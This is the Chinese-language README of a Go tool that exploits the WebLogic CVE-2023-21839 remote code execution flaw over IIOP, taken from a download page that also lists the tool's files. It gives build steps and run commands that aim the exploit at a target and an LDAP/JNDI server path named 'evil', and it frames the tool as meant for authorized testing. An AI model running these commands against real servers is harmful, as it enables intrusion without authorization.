## CVE-2023-21839
**未经授权许可使用本项目攻击或测试目标是非法的，本程序应仅用于授权的安全测试与研究目的**
### 介绍
这是来自长亭`xray`的代码，该漏洞扫描已集成到新版`xray`中，敬请期待
Weblogic CVE-2023-21839 RCE
（1）**无需任何 Java 依赖，构造协议通过socket直接RCE**
（2）已解决 IIOP 的 NAT 网络问题（可测试 Docker 与公网目标）
（3）在 Windows/Mac OS/Linux 以及 Weblogic 12/14 中测试通过
（4）请使用 JDK 8u191 以下启动 Weblogic 并自行搭建 JNDI Server
### 使用
你可以通过 vulhub 复现：[链接](https://github.com/vulhub/vulhub/tree/master/weblogic/CVE-2023-21839)
Linux/Mac OS
```shell
cd cmd
go build -o CVE-2023-21839
./CVE-2023-21839 -ip 127.0.0.1 -port 7001 -ldap ldap://127.0.0.1:1389/evil
```
Windows
```shell
cd cmd
go build -o CVE-2023-21839.exe
CVE-2023-21839.exe -ip 127.0.0.1 -port 7001 -ldap ldap://127.0.0.1:1389/evil
```
如果发现 panic 或有其他报错，说明目标不存在漏洞（或关闭了 IIOP 功能）
本地测试：
某师傅公网测试：
### 免责声明
此工具仅作为网络安全攻防研究交流，请使用者遵照网络安全法合理使用！
如果使用者使用该工具出现任何非法攻击等违法行为，与作者无关！
cve-2023-21839漏洞工具
需积分: 0 64 浏览量
2023-04-10
15:17:00
上传
评论
收藏 223KB ZIP 举报
cve-2023-21839.zip （15个子文件） 
cve-2023-21839 
log.go 94B service_context.go 423B resolve_request.go 3KB go.mod 31B version.go 479B constant.go 318B cmd main.go 11KB header.go 218B rebind_request.go 3KB locate_request.go 1KB img 
pub.png 185KB rce.png 79KB .gitignore 7B README.md 1KB giop.go 301B资源评论
